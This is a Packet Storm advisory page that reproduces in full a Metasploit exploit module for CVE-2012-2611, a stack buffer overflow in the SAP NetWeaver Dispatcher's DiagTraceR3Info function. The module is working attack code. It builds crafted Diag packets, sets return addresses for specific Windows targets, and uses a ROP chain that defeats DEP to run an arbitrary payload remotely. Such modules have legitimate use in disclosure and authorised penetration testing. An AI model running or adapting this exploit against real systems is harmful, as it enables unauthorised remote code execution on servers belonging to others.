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SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

🗓️ 03 Sep 2012 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow exploit on SAP Netweaver 7.0 EHP2 SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass) allows remote attackers to execute arbitrary code by supplying a special crafted Diag packe

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`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher  
service. The overflow occurs in the DiagTraceR3Info() function and allows a remote  
attacker to execute arbitrary code by supplying a special crafted Diag packet. The  
Dispatcher service is only vulnerable if the Developer Traces have been configured  
at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2  
SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).  
},  
'Author' => [  
'Martin Gallo', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '81759' ],  
[ 'CVE', '2012-2611' ],  
[ 'BID', '53424' ],  
[ 'EDB', '20705' ],  
[ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],  
[ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x00",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# disp+work.exe version 7200.70.18.23869  
[  
'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',  
{  
'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE  
}  
],  
[  
'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',  
{  
'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 1,  
'DisclosureDate' => 'May 8 2012'))  
  
register_options([Opt::RPORT(3200)], self.class)  
  
end  
  
def create_rop_chain()  
# ROP chains provided by Corelan.be  
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2  
rop_gadgets =  
[  
0x77bb2563, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
0x41414141, #junk  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bb2563, # POP EAX # RETN  
0x03C0A40F,  
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bb2563, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bb2563, # POP EAX # RETN  
0x90909090,#nop  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
  
return rop_gadgets  
end  
  
def exploit  
  
peer = "#{rhost}:#{rport}"  
  
connect  
  
# initialize  
diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"  
user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"  
support_data = "\x10\x04\x0b\x00\x20"  
support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"  
support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"  
dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"  
dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"  
dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")  
dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"  
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"  
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"  
dpheader << "terminalXXXXXXX"  
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"  
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"  
dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"  
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"  
pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")  
pkt << dpheader  
pkt << diagheader  
pkt << user_connect  
pkt << support_data  
print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")  
sock.put(pkt)  
res = sock.get_once(-1)  
  
if not res  
print_error("#{peer} - The connection with the Dispatcher has not been initialized")  
return  
end  
  
# send message  
if target.name =~ /Windows XP SP3/  
crash = make_nops(112)  
crash << "\xeb\x02" # jmp over call pointer  
crash << [target.ret].pack("v")  
crash << make_nops(10) * 200  
crash << payload.encoded  
else # Windows 2003  
crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack  
crash << rand_text(2) # padding  
crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt  
crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt  
crash << [target.ret].pack("V") # stackpivot  
crash << create_rop_chain  
crash << payload.encoded  
end  
  
print_status("#{peer} - Sending crafted message")  
message = "\x10\x06\x20" + [crash.length].pack("n") + crash  
diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"  
step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"  
eom = "\x0c"  
pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")  
pkt << diagheader  
pkt << step  
pkt << message  
pkt << eom  
sock.put(pkt)  
  
disconnect  
end  
  
end  
`

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